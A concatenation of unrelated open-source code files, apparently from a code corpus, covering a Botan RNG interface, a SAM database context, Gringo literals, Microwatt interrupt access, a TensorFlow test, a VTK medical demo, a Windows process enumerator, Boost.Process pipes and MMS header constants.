{
this->add_entropy(reinterpret_cast<const uint8_t*>(&t), sizeof(T));
}
/**
* Incorporate entropy into the RNG state then produce output.
* Some RNG types implement this using a single operation, default
* calls add_entropy + randomize in sequence.
*
* Use this to further bind the outputs to your current
* process/protocol state. For instance if generating a new key
* for use in a session, include a session ID or other such
* value. See NIST SP 800-90 A, B, C series for more ideas.
*
* @param output buffer to hold the random output
* @param output_len size of the output buffer in bytes
* @param input entropy buffer to incorporate
* @param input_len size of the input buffer in bytes
*/
virtual void randomize_with_input(uint8_t output[], size_t output_len,
const uint8_t input[], size_t input_len);
/**
* This calls `randomize_with_input` using some timestamps as extra input.
*
* For a stateful RNG using non-random but potentially unique data the
* extra input can help protect against problems with fork, VM state
* rollback, or other cases where somehow an RNG state is duplicated. If
* both of the duplicated RNG states later incorporate a timestamp (and the
* timestamps don't themselves repeat), their outputs will diverge.
*/
virtual void randomize_with_ts_input(uint8_t output[], size_t output_len);
/**
* @return the name of this RNG type
*/
virtual std::string name() const = 0;
/**
* Clear all internally held values of this RNG
* @post is_seeded() == false
*/
virtual void clear() = 0;
/**
* Check whether this RNG is seeded.
* @return true if this RNG was already seeded, false otherwise.
*/
virtual bool is_seeded() const = 0;
/**
* Poll provided sources for up to poll_bits bits of entropy
* or until the timeout expires. Returns estimate of the number
* of bits collected.
*/
virtual size_t reseed(Entropy_Sources& srcs,
size_t poll_bits = BOTAN_RNG_RESEED_POLL_BITS,
std::chrono::milliseconds poll_timeout = BOTAN_RNG_RESEED_DEFAULT_TIMEOUT);
/**
* Reseed by reading specified bits from the RNG
*/
virtual void reseed_from_rng(RandomNumberGenerator& rng,
size_t poll_bits = BOTAN_RNG_RESEED_POLL_BITS);
// Some utility functions built on the interface above:
/**
* Return a random vector
* @param bytes number of bytes in the result
* @return randomized vector of length bytes
*/
secure_vector<uint8_t> random_vec(size_t bytes)
{
secure_vector<uint8_t> output;
random_vec(output, bytes);
return output;
}
template<typename Alloc>
void random_vec(std::vector<uint8_t, Alloc>& v, size_t bytes)
{
v.resize(bytes);
this->randomize(v.data(), v.size());
}
/**
* Return a random byte
* @return random byte
*/
uint8_t next_byte()
{
uint8_t b;
this->randomize(&b, 1);
return b;
}
/**
* @return a random byte that is greater than zero
*/
uint8_t next_nonzero_byte()
{
uint8_t b = this->next_byte();
while(b == 0)
b = this->next_byte();
return b;
}
/**
* Create a seeded and active RNG object for general application use
* Added in 1.8.0
* Use AutoSeeded_RNG instead
*/
BOTAN_DEPRECATED("Use AutoSeeded_RNG")
static RandomNumberGenerator* make_rng();
};
/**
* Convenience typedef
*/
typedef RandomNumberGenerator RNG;
/**
* Hardware_RNG exists to tag hardware RNG types (PKCS11_RNG, TPM_RNG, RDRAND_RNG)
*/
class BOTAN_PUBLIC_API(2,0) Hardware_RNG : public RandomNumberGenerator
{
public:
virtual void clear() final override { /* no way to clear state of hardware RNG */ }
};
/**
* Null/stub RNG - fails if you try to use it for anything
* This is not generally useful except for in certain tests
*/
class BOTAN_PUBLIC_API(2,0) Null_RNG final : public RandomNumberGenerator
{
public:
bool is_seeded() const override { return false; }
bool accepts_input() const override { return false; }
void clear() override {}
void randomize(uint8_t[], size_t) override
{
throw PRNG_Unseeded("Null_RNG called");
}
void add_entropy(const uint8_t[], size_t) override {}
std::string name() const override { return "Null_RNG"; }
};
#if defined(BOTAN_TARGET_OS_HAS_THREADS)
/**
* Wraps access to a RNG in a mutex
* Note that most of the time it's much better to use a RNG per thread
* otherwise the RNG will act as an unnecessary contention point
*/
class BOTAN_PUBLIC_API(2,0) Serialized_RNG final : public RandomNumberGenerator
{
public:
void randomize(uint8_t out[], size_t len) override
{
lock_guard_type<mutex_type> lock(m_mutex);
m_rng->randomize(out, len);
}
bool accepts_input() const override
{
lock_guard_type<mutex_type> lock(m_mutex);
return m_rng->accepts_input();
}
bool is_seeded() const override
{
lock_guard_type<mutex_type> lock(m_mutex);
return m_rng->is_seeded();
}
void clear() override
{
lock_guard_type<mutex_type> lock(m_mutex);
m_rng->clear();
}
std::string name() const override
{
lock_guard_type<mutex_type> lock(m_mutex);
return m_rng->name();
}
size_t reseed(Entropy_Sources& src,
size_t poll_bits = BOTAN_RNG_RESEED_POLL_BITS,
std::chrono::milliseconds poll_timeout = BOTAN_RNG_RESEED_DEFAULT_TIMEOUT) override
{
lock_guard_type<mutex_type> lock(m_mutex);
return m_rng->reseed(src, poll_bits, poll_timeout);
}
void add_entropy(const uint8_t in[], size_t len) override
{
lock_guard_type<mutex_type> lock(m_mutex);
m_rng->add_entropy(in, len);
}
BOTAN_DEPRECATED("Use Serialized_RNG(new AutoSeeded_RNG)") Serialized_RNG();
explicit Serialized_RNG(RandomNumberGenerator* rng) : m_rng(rng) {}
private:
mutable mutex_type m_mutex;
std::unique_ptr<RandomNumberGenerator> m_rng;
};
#endif
}
#endif
| 3,707 |
372 | /* Editor Settings: expandtabs and use 4 spaces for indentation
* ex: set softtabstop=4 tabstop=8 expandtab shiftwidth=4: *
*/
/*
* Copyright © BeyondTrust Software 2004 - 2019
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* BEYONDTRUST MAKES THIS SOFTWARE AVAILABLE UNDER OTHER LICENSING TERMS AS
* WELL. IF YOU HAVE ENTERED INTO A SEPARATE LICENSE AGREEMENT WITH
* BEYONDTRUST, THEN YOU MAY ELECT TO USE THE SOFTWARE UNDER THE TERMS OF THAT
* SOFTWARE LICENSE AGREEMENT INSTEAD OF THE TERMS OF THE APACHE LICENSE,
* NOTWITHSTANDING THE ABOVE NOTICE. IF YOU HAVE QUESTIONS, OR WISH TO REQUEST
* A COPY OF THE ALTERNATE LICENSING TERMS OFFERED BY BEYONDTRUST, PLEASE CONTACT
* BEYONDTRUST AT beyondtrust.com/contact
*/
/*
* Copyright (C) BeyondTrust Software. All rights reserved.
*
* Module Name:
*
* samdbcontext.c
*
* Abstract:
*
*
* BeyondTrust SAM Database Provider
*
* Provider context initialisation routines
*
* Authors: <NAME> (<EMAIL>)
* <NAME> (<EMAIL>)
* <NAME> (<EMAIL>)
*
*/
#include "includes.h"
static
DWORD
SamDbAcquireDbContext(
PSAM_DB_CONTEXT* ppDbContext
);
static
VOID
SamDbReleaseDbContext(
PSAM_DB_CONTEXT pDbContext
);
DWORD
SamDbBuildDirectoryContext(
PSAMDB_OBJECTCLASS_TO_ATTR_MAP_INFO pObjectClassAttrMaps,
DWORD dwNumObjectClassAttrMaps,
PSAM_DB_ATTR_LOOKUP pAttrLookup,
PSAM_DIRECTORY_CONTEXT* ppDirContext
)
{
DWORD dwError = 0;
PSAM_DIRECTORY_CONTEXT pDirContext = NULL;
dwError = DirectoryAllocateMemory(
sizeof(SAM_DIRECTORY_CONTEXT),
(PVOID*)&pDirContext);
BAIL_ON_SAMDB_ERROR(dwError);
pDirContext->pObjectClassAttrMaps = pObjectClassAttrMaps;
pDirContext->dwNumObjectClassAttrMaps = dwNumObjectClassAttrMaps;
pDirContext->pAttrLookup = pAttrLookup;
dwError = SamDbAcquireDbContext(&pDirContext->pDbContext);
BAIL_ON_LSA_ERROR(dwError);
*ppDirContext = pDirContext;
cleanup:
return dwError;
error:
if (pDirContext)
{
SamDbFreeDirectoryContext(pDirContext);
}
*ppDirContext = NULL;
goto cleanup;
}
static
DWORD
SamDbAcquireDbContext(
PSAM_DB_CONTEXT* ppDbContext
)
{
DWORD dwError = 0;
BOOLEAN bInLock = FALSE;
PCSTR pszDbPath = SAM_DB;
PSAM_DB_CONTEXT pDbContext = NULL;
SAMDB_LOCK_MUTEX(bInLock, &gSamGlobals.mutex);
if (gSamGlobals.pDbContextList)
{
pDbContext = gSamGlobals.pDbContextList;
gSamGlobals.pDbContextList = gSamGlobals.pDbContextList->pNext;
gSamGlobals.dwNumDbContexts--;
pDbContext->pNext = NULL;
}
SAMDB_UNLOCK_MUTEX(bInLock, &gSamGlobals.mutex);
if (!pDbContext)
{
dwError = DirectoryAllocateMemory(
sizeof(SAM_DB_CONTEXT),
(PVOID*)&pDbContext);
BAIL_ON_SAMDB_ERROR(dwError);
dwError = sqlite3_open(
pszDbPath,
&pDbContext->pDbHandle);
BAIL_ON_SAMDB_ERROR(dwError);
}
*ppDbContext = pDbContext;
cleanup:
SAMDB_UNLOCK_MUTEX(bInLock, &gSamGlobals.mutex);
return dwError;
error:
if (pDbContext)
{
SamDbFreeDbContext(pDbContext);
}
*ppDbContext = NULL;
goto cleanup;
}
VOID
SamDbFreeDirectoryContext(
PSAM_DIRECTORY_CONTEXT pDirContext
)
{
if (pDirContext->pwszCredential)
{
DirectoryFreeMemory(pDirContext->pwszCredential);
}
if (pDirContext->pwszDistinguishedName)
{
DirectoryFreeMemory(pDirContext->pwszDistinguishedName);
}
if (pDirContext->pDbContext)
{
SamDbReleaseDbContext(pDirContext->pDbContext);
}
DirectoryFreeMemory(pDirContext);
}
static
VOID
SamDbReleaseDbContext(
PSAM_DB_CONTEXT pDbContext
)
{
BOOLEAN bInLock = FALSE;
SAMDB_LOCK_MUTEX(bInLock, &gSamGlobals.mutex);
if (gSamGlobals.dwNumDbContexts < gSamGlobals.dwNumMaxDbContexts)
{
pDbContext->pNext = gSamGlobals.pDbContextList;
gSamGlobals.pDbContextList = pDbContext;
gSamGlobals.dwNumDbContexts++;
}
else
{
SamDbFreeDbContext(pDbContext);
}
SAMDB_UNLOCK_MUTEX(bInLock, &gSamGlobals.mutex);
}
VOID
SamDbFreeDbContext(
PSAM_DB_CONTEXT pDbContext
)
{
if (pDbContext->pDelObjectStmt)
{
sqlite3_finalize(pDbContext->pDelObjectStmt);
}
if (pDbContext->pQueryObjectCountStmt)
{
sqlite3_finalize(pDbContext->pQueryObjectCountStmt);
}
if (pDbContext->pQueryObjectRecordInfoStmt)
{
sqlite3_finalize(pDbContext->pQueryObjectRecordInfoStmt);
}
if (pDbContext->pDbHandle)
{
sqlite3_close(pDbContext->pDbHandle);
}
DirectoryFreeMemory(pDbContext);
}
/*
local variables:
mode: c
c-basic-offset: 4
indent-tabs-mode: nil
tab-width: 4
end:
*/
| 2,392 |
423 | // {{{ MIT License
// Copyright 2017 <NAME>
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to
// deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
// sell copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
// IN THE SOFTWARE.
// }}}
#ifndef _GRINGO_OUTPUT_LITERAL_HH
#define _GRINGO_OUTPUT_LITERAL_HH
#include <gringo/domain.hh>
#include <gringo/output/types.hh>
#include <potassco/theory_data.h>
namespace Gringo { namespace Output {
// {{{1 declaration of PrintPlain
struct PrintPlain {
void printTerm(Potassco::Id_t x);
void printElem(Potassco::Id_t x);
DomainData &domain;
std::ostream &stream;
};
template <typename T>
PrintPlain &operator<<(PrintPlain &out, T const &x) {
out.stream << x;
return out;
}
// {{{1 declaration of LiteralId
enum class AtomType : uint32_t {
BodyAggregate,
AssignmentAggregate,
HeadAggregate,
Disjunction,
Conjunction,
LinearConstraint,
Disjoint,
Theory,
Predicate,
Aux
// TODO: consider a hidden predicate domain for internal purposes
};
class LiteralId {
public:
explicit LiteralId(uint64_t repr)
: repr_(repr) { }
LiteralId()
: repr_(std::numeric_limits<uint64_t>::max()) { }
LiteralId(NAF sign, AtomType type, Potassco::Id_t offset, Potassco::Id_t domain)
: data_{static_cast<uint32_t>(sign), static_cast<uint32_t>(type), domain, offset} { }
Potassco::Id_t offset() const { return data_.offset; }
Potassco::Id_t domain() const { return data_.domain; }
AtomType type() const { return static_cast<AtomType>(data_.type); }
NAF sign() const { return static_cast<NAF>(data_.sign); }
bool invertible() const { return sign() != NAF::POS; }
LiteralId negate(bool recursive=true) const { return LiteralId(inv(sign(), recursive), type(), offset(), domain()); }
bool operator==(LiteralId const &other) const { return repr_ == other.repr_; }
bool operator<(LiteralId const &other) const { return repr_ < other.repr_; }
uint64_t repr() const { return repr_; }
bool valid() const { return repr_ != std::numeric_limits<uint64_t>::max(); }
LiteralId withSign(NAF naf) const { return {naf, type(), offset(), domain()}; }
LiteralId withOffset(Id_t offset) const { return {sign(), type(), offset, domain()}; }
operator bool() const { return valid(); }
private:
struct Data {
uint32_t sign : 2;
uint32_t type : 6;
uint32_t domain : 24;
uint32_t offset;
};
union {
Data data_;
uint64_t repr_;
};
};
using LitVec = std::vector<LiteralId>;
// {{{1 declaration of Literal
class Mapping {
private:
using Value = std::pair<std::pair<Id_t, Id_t>, Id_t>; // (range, offset)
using Map = std::vector<Value>;
public:
void add(Id_t oldOffset, Id_t newOffset) {
if (map_.empty() || map_.back().first.second < oldOffset) {
map_.emplace_back(std::make_pair(oldOffset, oldOffset+1), newOffset);
}
else {
assert(map_.back().first.second == oldOffset);
++map_.back().first.second;
}
}
Id_t get(Id_t oldOffset) {
auto it = std::upper_bound(map_.begin(), map_.end(), oldOffset, [](Id_t offset, Value const &val) { return offset < val.first.second; });
return (it == map_.end() || oldOffset < it->first.first) ? InvalidId : it->second + (oldOffset - it->first.first);
}
Id_t bound(Id_t oldOffset) {
auto it = std::upper_bound(map_.begin(), map_.end(), oldOffset, [](Id_t offset, Value const &val) { return offset < val.first.second; });
if (it != map_.end() && oldOffset >= it->first.first) {
return it->second + (oldOffset - it->first.first);
}
if (it == map_.begin() && (it == map_.end() || oldOffset < it->first.first)) {
return 0;
}
return (it-1)->second + ((it-1)->first.second - (it-1)->first.first);
}
private:
Map map_;
};
using Mappings = std::vector<Mapping>;
class Literal {
public:
// Shall return true if the literal was defined in a previous step.
// Modularity guarantees that there is no cycle involing atoms from
// the current step through such a literal.
virtual bool isAtomFromPreviousStep() const;
// Shall return true for all literals that can be used in the head of a rule.
virtual bool isHeadAtom() const;
// Translates the literal into a literal suitable to be output by a Backend.
virtual LiteralId translate(Translator &x) = 0;
// Compact representation for the literal.
// A literal can be restored from this representation using the DomainData class.
virtual LiteralId toId() const = 0;
// Prints the literal in plain text format.
virtual void printPlain(PrintPlain out) const = 0;
// Shall return if the literal cannot be output at this point of time.
// Such literals are stored in a list and output once their definition is complete.
virtual bool isIncomplete() const;
// Associates an incomplete literals with a delayd literal.
// The return flag indicates that a fresh delayed literal has been added.
// The literal might copy its sign into the delayed literal.
// In this case the sign is stripped from the original literal.
virtual std::pair<LiteralId,bool> delayedLit();
virtual bool isBound(Symbol &value, bool negate) const;
virtual void updateBound(std::vector<CSPBound> &bounds, bool negate) const;
virtual bool needsSemicolon() const;
virtual bool isPositive() const;
// Maps true and false literals to a unique literal and remaps the offsets of predicate literals.
virtual LiteralId simplify(Mappings &mappings, AssignmentLookup lookup) const;
virtual bool isTrue(IsTrueLookup) const;
virtual Lit_t uid() const = 0;
virtual ~Literal() { }
};
// returns true if all literals in lits are true
bool isTrueClause(DomainData &data, LitVec &lits, IsTrueLookup lookup);
// {{{1 declaration of TupleId
struct TupleId {
Id_t offset;
Id_t size;
};
inline bool operator==(TupleId a, TupleId b) {
return a.offset == b.offset && a.size == b.size;
}
inline bool operator<(TupleId a, TupleId b) {
if (a.offset != b.offset) { return a.offset < b.offset; }
return a.size < b.size;
}
// }}}1
} } // namespace Output Gringo
namespace std {
template <>
struct hash<Gringo::Output::LiteralId> : private std::hash<uint64_t> {
size_t operator()(Gringo::Output::LiteralId const &lit) const {
return std::hash<uint64_t>::operator()(lit.repr());
}
};
template <>
struct hash<Gringo::Output::TupleId> {
size_t operator()(Gringo::Output::TupleId t) const { return Gringo::get_value_hash(t.offset, t.size); }
};
} // namespace std
#endif // _GRINGO_OUTPUT_LITERAL_HH
| 2,726 |
514 | <gh_stars>100-1000
#include <stdint.h>
#include "microwatt_soc.h"
#include "io.h"
#define XICS_XIRR_POLL 0x0
#define XICS_XIRR 0x4
#define XICS_RESV 0x8
#define XICS_MFRR 0xC
#define bswap32(x) (uint32_t)__builtin_bswap32((uint32_t)(x))
uint8_t icp_read8(int offset)
{
return readb(XICS_ICP_BASE + offset);
}
void icp_write8(int offset, uint8_t val)
{
writeb(val, XICS_ICP_BASE + offset);
}
uint32_t icp_read32(int offset)
{
return bswap32(readl(XICS_ICP_BASE + offset));
}
static inline void icp_write32(int offset, uint32_t val)
{
writel(bswap32(val), XICS_ICP_BASE + offset);
}
uint32_t ics_read_xive(int irq)
{
return bswap32(readl(XICS_ICS_BASE + 0x800 + (irq << 2)));
}
void ics_write_xive(uint32_t val, int irq)
{
writel(bswap32(val), XICS_ICS_BASE + 0x800 + (irq << 2));
}
| 408 |
190,993 | /* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/kernels/batch_kernels.h"
#include "tensorflow/core/kernels/batch_kernel_test_util.h"
#include "tensorflow/core/lib/core/status_test_util.h"
#include "tensorflow/core/platform/test.h"
namespace tensorflow {
class BatchFunctionKernelTest : public BatchFunctionKernelTestBase {};
TEST_P(BatchFunctionKernelTest, EnableAdaptiveScheduler) {
TF_EXPECT_OK(Init());
BatchFunctionKernel* batch_kernel =
dynamic_cast<BatchFunctionKernel*>(op_kernel());
EXPECT_EQ(internal::BatchFunctionKernelTestAccess(batch_kernel)
.enable_adaptive_batch_threads(),
enable_adaptive_scheduler());
}
INSTANTIATE_TEST_SUITE_P(Params, BatchFunctionKernelTest, ::testing::Bool());
} // namespace tensorflow
| 440 |
611 | <filename>vrlib/src/main/java/com/martin/ads/vrlib/filters/advanced/mx/BlackWhiteFilter.java
package com.martin.ads.vrlib.filters.advanced.mx;
import android.content.Context;
import com.martin.ads.vrlib.filters.base.SimpleFragmentShaderFilter;
/**
* Created by Ads on 2017/1/31.
* BlackWhiteFilter (黑白)
*/
public class BlackWhiteFilter extends SimpleFragmentShaderFilter {
public BlackWhiteFilter(Context context) {
super(context, "filter/fsh/mx_black_white.glsl");
}
}
| 181 |
335 | /*
Copyright (C) 2020 Quaternion Risk Management Ltd
All rights reserved.
This file is part of ORE, a free-software/open-source library
for transparent pricing and risk analysis - http://opensourcerisk.org
ORE is free software: you can redistribute it and/or modify it
under the terms of the Modified BSD License. You should have received a
copy of the license along with this program.
The license is also available online at <http://opensourcerisk.org>
This program is distributed on the basis that it will form a useful
contribution to risk analytics and model standardisation, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the license for more details.
*/
/*! \file portfolio/referencedatafactory.hpp
\brief Reference data model and serialization
\ingroup tradedata
*/
#pragma once
#include <functional>
#include <ql/patterns/singleton.hpp>
#include <string>
namespace ore {
namespace data {
class ReferenceDatum;
class AbstractReferenceDatumBuilder {
public:
virtual ~AbstractReferenceDatumBuilder() {}
virtual boost::shared_ptr<ReferenceDatum> build() const = 0;
};
//! Template TradeBuilder class
/*!
\ingroup tradedata
*/
template <class T> class ReferenceDatumBuilder : public AbstractReferenceDatumBuilder {
public:
virtual boost::shared_ptr<ReferenceDatum> build() const override { return boost::make_shared<T>(); }
};
class ReferenceDatumFactory : public QuantLib::Singleton<ReferenceDatumFactory> {
friend class QuantLib::Singleton<ReferenceDatumFactory>;
public:
typedef std::map<std::string, std::function<boost::shared_ptr<AbstractReferenceDatumBuilder>()>> map_type;
boost::shared_ptr<ReferenceDatum> build(const std::string& refDatumType);
void addBuilder(const std::string& refDatumType,
std::function<boost::shared_ptr<AbstractReferenceDatumBuilder>()> builder);
private:
map_type map_;
};
template <class T> boost::shared_ptr<AbstractReferenceDatumBuilder> createReferenceDatumBuilder() {
return boost::make_shared<T>();
}
template <class T> struct ReferenceDatumRegister {
public:
ReferenceDatumRegister(const std::string& refDatumType) {
ReferenceDatumFactory::instance().addBuilder(refDatumType, &createReferenceDatumBuilder<T>);
}
};
} // namespace data
} // namespace ore
| 703 |
995 | package ui.graphing.logical;
import core.document.graph.LogicalNode;
import ui.custom.fx.ActiveMenuItem;
import ui.dialog.ConnectionDetailsDialogFx;
import ui.graphing.graphs.LogicalFilterGraph;
public class CellLogicalHidable extends CellLogical {
public CellLogicalHidable(final LogicalFilterGraph owner, LogicalNode node) {
super(node);
super.menuItems.add(
new ActiveMenuItem("Hide Node", event -> {
owner.setNodeVisibility(node, false);
})
);
}
}
| 225 |
309 | <filename>src/Cxx/Medical/MedicalDemo1.cxx
// Derived from VTK/Examples/Cxx/Medical1.cxx
// This example reads a volume dataset, extracts an isosurface that
// represents the skin and displays it.
//
#include <vtkActor.h>
#include <vtkCamera.h>
#include <vtkMarchingCubes.h>
#include <vtkMetaImageReader.h>
#include <vtkNamedColors.h>
#include <vtkOutlineFilter.h>
#include <vtkPolyDataMapper.h>
#include <vtkProperty.h>
#include <vtkRenderer.h>
#include <vtkRenderWindow.h>
#include <vtkRenderWindowInteractor.h>
#include <vtkSmartPointer.h>
#include <array>
int main (int argc, char *argv[])
{
if (argc < 2)
{
cout << "Usage: " << argv[0] << " file.mhd" << endl;
return EXIT_FAILURE;
}
vtkSmartPointer<vtkNamedColors> colors =
vtkSmartPointer<vtkNamedColors>::New();
std::array<unsigned char , 4> skinColor{{255, 125, 64}};
colors->SetColor("SkinColor", skinColor.data());
std::array<unsigned char , 4> bkg{{51, 77, 102, 255}};
colors->SetColor("BkgColor", bkg.data());
// Create the renderer, the render window, and the interactor. The renderer
// draws into the render window, the interactor enables mouse- and
// keyboard-based interaction with the data within the render window.
//
vtkSmartPointer<vtkRenderer> aRenderer =
vtkSmartPointer<vtkRenderer>::New();
vtkSmartPointer<vtkRenderWindow> renWin =
vtkSmartPointer<vtkRenderWindow>::New();
renWin->AddRenderer(aRenderer);
vtkSmartPointer<vtkRenderWindowInteractor> iren =
vtkSmartPointer<vtkRenderWindowInteractor>::New();
iren->SetRenderWindow(renWin);
vtkSmartPointer<vtkMetaImageReader> reader =
vtkSmartPointer<vtkMetaImageReader>::New();
reader->SetFileName (argv[1]);
// An isosurface, or contour value of 500 is known to correspond to the
// skin of the patient.
vtkSmartPointer<vtkMarchingCubes> skinExtractor =
vtkSmartPointer<vtkMarchingCubes>::New();
skinExtractor->SetInputConnection(reader->GetOutputPort());
skinExtractor->SetValue(0, 500);
vtkSmartPointer<vtkPolyDataMapper> skinMapper =
vtkSmartPointer<vtkPolyDataMapper>::New();
skinMapper->SetInputConnection(skinExtractor->GetOutputPort());
skinMapper->ScalarVisibilityOff();
vtkSmartPointer<vtkActor> skin =
vtkSmartPointer<vtkActor>::New();
skin->SetMapper(skinMapper);
skin->GetProperty()->SetDiffuseColor(colors->GetColor3d("SkinColor").GetData());
// An outline provides context around the data.
//
vtkSmartPointer<vtkOutlineFilter> outlineData =
vtkSmartPointer<vtkOutlineFilter>::New();
outlineData->SetInputConnection(reader->GetOutputPort());
vtkSmartPointer<vtkPolyDataMapper> mapOutline =
vtkSmartPointer<vtkPolyDataMapper>::New();
mapOutline->SetInputConnection(outlineData->GetOutputPort());
vtkSmartPointer<vtkActor> outline =
vtkSmartPointer<vtkActor>::New();
outline->SetMapper(mapOutline);
outline->GetProperty()->SetColor(colors->GetColor3d("Black").GetData());
// It is convenient to create an initial view of the data. The FocalPoint
// and Position form a vector direction. Later on (ResetCamera() method)
// this vector is used to position the camera to look at the data in
// this direction.
vtkSmartPointer<vtkCamera> aCamera =
vtkSmartPointer<vtkCamera>::New();
aCamera->SetViewUp (0, 0, -1);
aCamera->SetPosition (0, -1, 0);
aCamera->SetFocalPoint (0, 0, 0);
aCamera->ComputeViewPlaneNormal();
aCamera->Azimuth(30.0);
aCamera->Elevation(30.0);
// Actors are added to the renderer. An initial camera view is created.
// The Dolly() method moves the camera towards the FocalPoint,
// thereby enlarging the image.
aRenderer->AddActor(outline);
aRenderer->AddActor(skin);
aRenderer->SetActiveCamera(aCamera);
aRenderer->ResetCamera ();
aCamera->Dolly(1.5);
// Set a background color for the renderer and set the size of the
// render window (expressed in pixels).
aRenderer->SetBackground(colors->GetColor3d("BkgColor").GetData());
renWin->SetSize(640, 480);
// Note that when camera movement occurs (as it does in the Dolly()
// method), the clipping planes often need adjusting. Clipping planes
// consist of two planes: near and far along the view direction. The
// near plane clips out objects in front of the plane; the far plane
// clips out objects behind the plane. This way only what is drawn
// between the planes is actually rendered.
aRenderer->ResetCameraClippingRange ();
// Initialize the event loop and then start it.
renWin->Render();
iren->Initialize();
iren->Start();
return EXIT_SUCCESS;
}
| 1,568 |
2,023 | """
Enumerates active processes as seen under windows Task Manager on Win NT/2k/XP using PSAPI.dll
(new api for processes) and using ctypes.Use it as you please.
Based on information from http://support.microsoft.com/default.aspx?scid=KB;EN-US;Q175030&ID=KB;EN-US;Q175030
By <NAME>
email <EMAIL>
license GPL
"""
from ctypes import *
#PSAPI.DLL
psapi = windll.psapi
#Kernel32.DLL
kernel = windll.kernel32
def EnumProcesses():
arr = c_ulong * 256
lpidProcess= arr()
cb = sizeof(lpidProcess)
cbNeeded = c_ulong()
hModule = c_ulong()
count = c_ulong()
modname = c_buffer(30)
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_READ = 0x0010
#Call Enumprocesses to get hold of process id's
psapi.EnumProcesses(byref(lpidProcess),
cb,
byref(cbNeeded))
#Number of processes returned
nReturned = cbNeeded.value/sizeof(c_ulong())
pidProcess = [i for i in lpidProcess][:nReturned]
for pid in pidProcess:
#Get handle to the process based on PID
hProcess = kernel.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
False, pid)
if hProcess:
psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count))
psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname))
print "".join([ i for i in modname if i != '\x00'])
#-- Clean up
for i in range(modname._length_):
modname[i]='\x00'
kernel.CloseHandle(hProcess)
if __name__ == '__main__':
EnumProcesses()
| 801 |
1,332 | <reponame>CrossNox/orbit
import unittest
class TestExample(unittest.TestCase):
def test(self):
pass
# ...or this way
def test_example():
pass
| 65 |
995 | <reponame>YuukiTsuchida/v8_embeded<filename>externals/boost/boost/process/detail/posix/pipe_in.hpp
// Copyright (c) 2006, 2007 <NAME>
// Copyright (c) 2008 <NAME>, <NAME>
// Copyright (c) 2009 <NAME>
// Copyright (c) 2010 <NAME>, <NAME>
// Copyright (c) 2011, 2012 <NAME>, <NAME>
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_PROCESS_POSIX_PIPE_IN_HPP
#define BOOST_PROCESS_POSIX_PIPE_IN_HPP
#include <boost/process/pipe.hpp>
#include <boost/process/detail/posix/handler.hpp>
#include <unistd.h>
namespace boost { namespace process { namespace detail { namespace posix {
struct pipe_in : handler_base_ext
{
int source;
int sink; //opposite end
pipe_in(int sink, int source) : source(source), sink(sink) {}
template<typename T>
pipe_in(T & p) : source(p.native_source()), sink(p.native_sink())
{
p.assign_source(-1);
}
template<typename Executor>
void on_error(Executor &, const std::error_code &) const
{
::close(source);
}
template<typename Executor>
void on_success(Executor &) const
{
::close(source);
}
template <class Executor>
void on_exec_setup(Executor &e) const
{
if (::dup2(source, STDIN_FILENO) == -1)
e.set_error(::boost::process::detail::get_last_error(), "dup2() failed");
::close(source);
::close(sink);
}
};
class async_pipe;
struct async_pipe_in : public pipe_in
{
async_pipe &pipe;
template<typename AsyncPipe>
async_pipe_in(AsyncPipe & p) : pipe_in(p.native_sink(), p.native_source()), pipe(p)
{
}
template<typename Pipe, typename Executor>
static void close(Pipe & pipe, Executor &)
{
boost::system::error_code ec;
std::move(pipe).source().close(ec);
}
template<typename Executor>
void on_error(Executor & exec, const std::error_code &)
{
close(pipe, exec);
}
template<typename Executor>
void on_success(Executor &exec)
{
close(pipe, exec);
}
};
}}}}
#endif
| 1,021 |
1,405 | <gh_stars>1000+
package com.lenovo.safecenter.mmsutils;
import java.util.ArrayList;
import java.util.HashMap;
public class TyuMMSHeaders {
public static final int ADAPTATION_ALLOWED = 188;
public static final int ADDITIONAL_HEADERS = 176;
public static final int APPLIC_ID = 183;
public static final int ATTRIBUTES = 168;
public static final int AUX_APPLIC_ID = 185;
public static final int BCC = 129;
public static final int CANCEL_ID = 190;
public static final int CANCEL_STATUS = 191;
public static final int CANCEL_STATUS_REQUEST_CORRUPTED = 129;
public static final int CANCEL_STATUS_REQUEST_SUCCESSFULLY_RECEIVED = 128;
public static final int CC = 130;
public static final int CONTENT = 174;
